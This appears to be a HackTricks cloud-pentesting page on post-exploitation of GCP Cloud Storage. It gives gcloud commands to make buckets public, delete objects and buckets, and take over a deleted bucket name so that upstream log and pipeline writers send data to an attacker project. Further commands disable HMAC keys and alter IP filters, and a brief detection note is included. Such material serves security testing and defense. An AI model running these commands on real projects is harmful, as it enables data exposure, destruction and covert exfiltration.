4.9 KiB
GCP - Storage Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
Cloud Storage
For more information about CLoud Storage check this page:
{{#ref}} ../gcp-services/gcp-storage-enum.md {{#endref}}
Give Public Access
It's possible to give external users (logged in GCP or not) access to buckets content. However, by default bucket will have disabled the option to expose publicly a bucket:
# Disable public prevention
gcloud storage buckets update gs://BUCKET_NAME --no-public-access-prevention
# Make all objects in a bucket public
gcloud storage buckets add-iam-policy-binding gs://BUCKET_NAME --member=allUsers --role=roles/storage.objectViewer
## I don't think you can make specific objects public just with IAM
# Make a bucket or object public (via ACL)
gcloud storage buckets update gs://BUCKET_NAME --add-acl-grant=entity=AllUsers,role=READER
gcloud storage objects update gs://BUCKET_NAME/OBJECT_NAME --add-acl-grant=entity=AllUsers,role=READER
If you try to give ACLs to a bucket with disabled ACLs you will find this error: ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access
To access open buckets via browser, access the URL https://<bucket_name>.storage.googleapis.com/ or https://<bucket_name>.storage.googleapis.com/<object_name>
storage.objects.delete (storage.objects.get)
To delete an object:
gcloud storage rm gs://<BUCKET_NAME>/<OBJECT_NAME> --project=<PROJECT_ID>
storage.buckets.delete, storage.objects.delete & storage.objects.list
To delete a bucket:
gcloud storage rm -r gs://<BUCKET_NAME>
Global bucket name takeover of upstream writers
Cloud Storage bucket names are globally unique. Before deleting a bucket, check whether any automated service keeps writing to that bucket by name. If the bucket is deleted and the same name is recreated in an attacker-controlled project, upstream writers such as Cloud Logging sinks, Pub/Sub Cloud Storage subscriptions, or Storage Transfer Service jobs may continue writing future data to the replacement bucket.
# Cloud Logging sinks using GCS
gcloud logging sinks list --project <PROJECT_ID> \
--format='table(name,destination,writerIdentity)'
# Pub/Sub subscriptions writing messages into GCS
gcloud pubsub subscriptions list --project <PROJECT_ID> \
--format='json(name,topic,cloudStorageConfig)'
# Storage Transfer Service jobs
gcloud transfer jobs list --project <PROJECT_ID>
# Delete and reclaim the destination bucket name
gcloud storage rm -r gs://<BUCKET_NAME>
gcloud storage buckets create gs://<BUCKET_NAME> \
--project <ATTACKER_PROJECT_ID> \
--location <LOCATION>
Grant the relevant writer identity access to the replacement bucket if the upstream service requires it:
gcloud storage buckets add-iam-policy-binding gs://<BUCKET_NAME> \
--member='<WRITER_IDENTITY_MEMBER>' \
--role='roles/storage.objectCreator' \
--project <ATTACKER_PROJECT_ID>
Potential Impact: long-term exfiltration of logs, messages, transfer outputs, backups, or data pipeline artifacts without modifying the original router resource.
Detection & Mitigation: treat bucket deletion as high risk when the bucket is referenced by sinks/subscriptions/jobs, alert on dangling destinations, restrict storage.buckets.delete, and use retention policies or legal holds for critical export buckets when appropriate.
Deactivate HMAC Keys
The storage.hmacKeys.update permission allows disabling HMAC keys, and the storage.hmacKeys.delete permission allows an identity to delete HMAC keys associated with service accounts in Cloud Storage.
# Deactivate
gcloud storage hmac update <ACCESS_ID> --deactivate
# Delete
gcloud storage hmac delete <ACCESS_ID>
storage.buckets.setIpFilter & storage.buckets.update
The storage.buckets.setIpFilter permission, together with the storage.buckets.update permission, allows an identity to configure IP address filters on a Cloud Storage bucket, specifying which IP ranges or addresses are allowed to access the bucket’s resources.
To completely clear the IP filter, the following command can be used:
gcloud storage buckets update gs://<BUCKET_NAME> --project=<PROJECT_ID>
To change the filtered IPs, the following command can be used:
gcloud storage buckets update gs://<BUCKET_NAME> \
--ip-filter-file=ip-filter.json \
--project=<PROJECT_ID>
The JSON file represents the filter itself, something like:
{
"mode": "Enabled",
"publicNetworkSource": {
"allowedIpCidrRanges": ["<IP>/<MASK>"]
},
"allowCrossOrgVpcs": false,
"allowAllServiceAgentAccess": false
}
storage.buckets.restore
Restore a bucket using:
gcloud storage restore gs://<BUCKET_NAME>#<GENERATION> \
--project=<PROJECT_ID>
{{#include ../../../banners/hacktricks-training.md}}